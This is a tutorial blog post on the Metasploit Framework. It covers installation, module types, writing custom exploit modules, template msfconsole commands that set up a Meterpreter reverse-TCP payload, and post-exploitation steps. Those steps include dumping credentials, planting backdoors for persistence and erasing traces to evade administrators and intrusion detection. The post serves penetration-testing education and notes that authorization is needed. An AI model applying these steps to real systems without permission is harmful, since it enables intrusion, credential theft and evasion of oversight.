How to Use Metasploit for Exploit Development and Execution

November 28, 20235 min read

Introduction to Metasploit

Metasploit Framework is a powerful open-source tool used for penetration testing, exploit development, and vulnerability research. It provides a vast collection of exploits as well as an extensive range of tools that can help in the creation and execution of exploits against a target system.

Installation of Metasploit

Before we start with exploit development and execution using Metasploit, it is important to have Metasploit installed on your system. Metasploit is included in penetration testing distributions like Kali Linux, but it can also be installed on other systems.

  • Linux Systems
    • Most penetration testing distributions come with Metasploit pre-installed.
    • For other distributions, it can be installed manually from the Metasploit website or GitHub repository.
  • Windows Systems
    • Users can download and install Metasploit Framework using the Windows installer available on the website.
  • macOS Systems
    • Similar to Linux, Metasploit can be installed from the official website or using package managers like Homebrew.

Ensure you are using the latest version of Metasploit by regularly updating it.

Familiarizing with Metasploit Framework

  • msfconsole
    • The primary interface for Metasploit.
    • Offers a comprehensive environment with various commands and functionality.
  • msfvenom
    • Utilized for generating payloads that can be used in the exploitation process.
  • msfdb
    • Used to initiate and manage the Metasploit database, which stores information collected during sessions.
  • Module Types
    • Exploits: Code that leverages vulnerabilities in systems.
    • Payloads: Code that runs on the system after a successful exploit.
    • Auxiliaries: Modules for scanning, fuzzing, and other tasks.
    • Post: Modules for actions after successful exploitation, like privilege escalation or evidence collection.

Exploit Development

  • Identifying Vulnerabilities
    • Use scanning tools to find potential targets and analyze them for known vulnerabilities that have existing Metasploit modules.
  • Research and Analysis
    • Once a vulnerability is identified, research it to understand how it can be exploited. Information about vulnerabilities can be found in databases like CVE or security advisories.
  • Writing the Exploit Code
    • If an existing Metasploit module does not exist, write a custom exploit module in Ruby.
    • Ensure that your module adheres to Metasploit’s development conventions.
    • The code must define the target, payload, exploit method, and clean-up routine.
  • Testing the Exploit
    • Initially, test the exploit in a controlled environment to ensure that it works as intended and does not cause unintended damage.

Exploit Execution

  • Selecting an Exploit Module
    • Use the search command in msfconsole to find an exploit module for the vulnerability you wish to exploit.

      msf6 > search [vulnerability or application name]

  • Setting up the Exploit
    • Load the exploit module with the use command.
    • Configure necessary options such as RHOSTS (target addresses), RPORT (target port), and PAYLOAD (code that will be executed on the target after the exploit succeeds).
      msf6 > use exploit/[module path]
      msf6 exploit(module) > set RHOSTS
      msf6 exploit(module) > set RPORT 80
      msf6 exploit(module) > set PAYLOAD windows/meterpreter/reverse_tcp
      msf6 exploit(module) > set LHOST [local IP]
      msf6 exploit(module) > set LPORT [local port]
    • Run the check command to determine if the target is vulnerable.

      msf6 exploit(module) > check

  • Executing the Exploit
    • Use the exploit command to launch the attack.

      msf6 exploit(module) > exploit

  • Interacting with the Payload
    • If the exploit succeeds, you can interact with the system using the payload that was executed.
    • For example, a Meterpreter shell allows for comprehensive interaction with the target.

Note: It is crucial to employ Metasploit and any other exploit tools responsibly and ethically. Always ensure that you have explicit permission to test and exploit systems, as unauthorized access to computer systems may be illegal.

Post-Exploitation and Cleanup

After a successful exploit, post-exploitation modules can be used to deepen access, maintain persistence, escalate privileges, or collect data.

  • Deepen Access
    • Using Meterpreter’s various commands to navigate the file system, manipulate files, or dump credentials.
  • Maintain Persistence
    • Installing backdoors or using scheduled tasks to maintain access to the system even after a reboot.
  • Privilege Escalation
    • Executing modules designed to exploit local system vulnerabilities to gain higher privileges.
  • Collecting Data
    • Gathering sensitive information such as password hashes, system info, and network data.
  • Cleanup
    • Be sure to remove traces of your activities to avoid detection by system administrators or intrusion detection systems.
    • Remove any files transferred and undo any changes made to the system.
  • Reporting
    • Document the exploitation process, outcomes, and collected data. This is critical in penetration testing for presenting findings and recommendations to improve system security.